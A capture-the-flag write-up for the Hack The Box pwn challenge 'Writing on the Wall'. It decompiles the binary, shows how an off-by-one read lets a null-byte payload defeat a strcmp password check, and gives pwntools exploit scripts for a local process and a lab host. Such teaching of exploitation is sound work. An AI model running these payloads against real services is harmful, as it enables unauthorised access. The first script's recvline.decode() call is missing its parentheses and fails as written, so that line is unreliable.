6 min
Writing on the Wall (Hack The Box - Pwn Challenge)
Writing on the Wall is a very easy Pwn Challenge from Hack The Box. The description reads:
As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door’s secrets?
The challenge directory contains a dummy flag.txt
which can be used for testing, a glibc
folder and a file called writing_on_the_wall
:
$ tree .
.
└── challenge
├── flag.txt
├── glibc
│ ├── ld-linux-x86-64.so.2
│ └── libc.so.6
└── writing_on_the_wall
3 directories, 4 files
With the Linux command line utility file, we can see that the file is an executable:
$ file writing_on_the_wall
writing_on_the_wall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=e1865b228b26ed7b4714423d70d822f6f188e63c, for GNU/Linux 3.2.0, not stripped
We can further examine the security settings of the binary using checksec:
$ checksec ./writing_on_the_wall
[*] './writing_on_the_wall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Okay, since nothing really stands out, let’s just run the executable and see what it does:
So it basically prints some text and prompts for input. After giving the wrong input the program exits without displaying the flag.
Next, we can start to analyse the executable in Ghidra.
Let’s first have a look at the main
function to get an overview of the executable’s functionality. We can navigate to the main
function by selecting it in the Symbol Tree in the right pane of the Ghidra window:
The decompiled main
function looks like this:
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
char local_1e [6];
undefined8 local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_18 = 0x2073736170743377;
read(0,local_1e,7);
iVar1 = strcmp(local_1e,(char *)&local_18);
if (iVar1 == 0) {
open_door();
}
else {
error("You activated the alarm! Troops are coming your way, RUN!\n");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
At first glance we see a call to read
and strcmp
(string comparison) and an if block that calls a function called open_door
. This open_door
function just reads the flag.txt
and displays it’s contents:
void open_door(void)
{
ssize_t sVar1;
long in_FS_OFFSET;
char local_15;
int local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_14 = open("./flag.txt",0);
if (local_14 < 0) {
perror("\nError opening flag.txt, please contact an Administrator.\n");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("You managed to open the door! Here is the password for the next one: ");
while( true ) {
sVar1 = read(local_14,&local_15,1);
if (sVar1 < 1) break;
fputc((int)local_15,stdout);
}
close(local_14);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
So, our objective is pretty clear: Make the program execute the open_door
function (probably by making the string comparison return true
).
So it seems like our only chance to control the execution flow is by manipulating the input. Therefore, let’s have a deeper look at the main
function. First, we tidy up the code by renaming and retyping some variables to make it more human readable:
undefined8 main(void) {
// 0. Some local variables are defined
long lVar1;
int comparison_result;
long in_FS_OFFSET;
char read_buffer [6];
char secret_value [8];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
// 1. The value of secret_value is set to "w3tpass "
secret_value[0] = 'w';
secret_value[1] = '3';
secret_value[2] = 't';
secret_value[3] = 'p';
secret_value[4] = 'a';
secret_value[5] = 's';
secret_value[6] = 's';
secret_value[7] = ' ';
// 2. 7 bytes of input are written to read_buffer
read(0, read_buffer, 7);
// 3. read_buffer and secret_value are compared via string comparison (strcmp)
comparison_result = strcmp(read_buffer, secret_value);
// 4. If the strings match, the flag is read with the open_door function
if (comparison_result == 0) {
open_door();
} else {
error("You activated the alarm! Troops are coming your way, RUN!\n");
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
- The value of
secret_value
is set tow3tpass
- 7 bytes of input are written to
read_buffer
read_buffer
andsecret_value
are compared via string comparison (strcmp
)- If the strings match, the flag is read with the
open_door
function
Okay, the secret_value
buffer is 7 bytes long, but the read_buffer
is only 6 bytes long. This means we cannot just enter w3tpass
and go home.
However, since the read_buffer
is only 6 bytes long and the read
function reads 7 bytes, we can overwrite a byte that we should not be able to overwrite. To know what byte we can overwrite we need to have a look at the binary again:
char read_buffer [6];
char secret_value [8];
We can see that the secret_value
array is defined after the read_buffer
. In memory it would look like this:
So, with our 7 byte input we can write to the 6 bytes of read_buffer
AND the first byte of the secret_value
. We can exploit this and the fact that a string comparison is used:
comparison_result = strcmp(read_buffer, secret_value);
In memory, a string is represented as an array of bytes, terminated with a special character, the nullbyte (0x00
):
So when we write a nullbyte to the first byte of the read_buffer
and to the first byte of the secret_value
array, they are both essentially interpreted as an empty string by strcmp
.
And since two empty strings are the same, we will pass the comparison!
With pwntools it is fairly easy to write a small exploit for the local binary:
from pwn import *
# Set the target binary within the context variable
context.binary = './writing_on_the_wall'
# Start a new process with the binary specified in context.binary
p = process()
# Print the output to the console
print(p.recv().decode())
# 7 byte long payload, the first and the last byte must be a nullbyte (\x00)
# The other five bytes in the middle are not relevant
payload = b'\x00' + b'\xde\xad\xbe\xef\xff' + b'\x00'
# Send the payload to the target binary
p.send(payload)
# Receive and print the output to the console
info(p.recvline.decode())
After loading the pwn
module, we set context.binary
to the target binary and start a new process. We then receive some bytes from the binary and print them to the screen. Then, we create our 7 bytes long payload starting and ending with a nullbyte (\x00
) and send it to the process. Then, we read the binary output again, hopefully containing the flag:
It works!
Now, instead of creating a new process with process()
, we connect to the Hack The Box lab machine via remote('94.237.49.212', 53665)
:
from pwn import *
# Set the target binary within the context variable
context.binary = './writing_on_the_wall'
# Attach to a remote host / port
p = remote('94.237.49.212', 53665)
# Print the output to the console
print(p.recv().decode())
# 7 byte long payload, the first and the last byte must be a nullbyte (\x00)
# The other five bytes in the middle are not relevant
payload = b'\x00' + b'\xde\xad\xbe\xef\xff' + b'\x00'
# Send the payload to the target binary
p.send(payload)
# Receive and print the output to the console
info(p.recvline().decode())
Executing the exploit targeting the remote machine reveals the actual flag:
Shout-Outs
- Thanks to Andrej L aka @ir0nstone for the nice and easy introduction to pwntools, go check it out!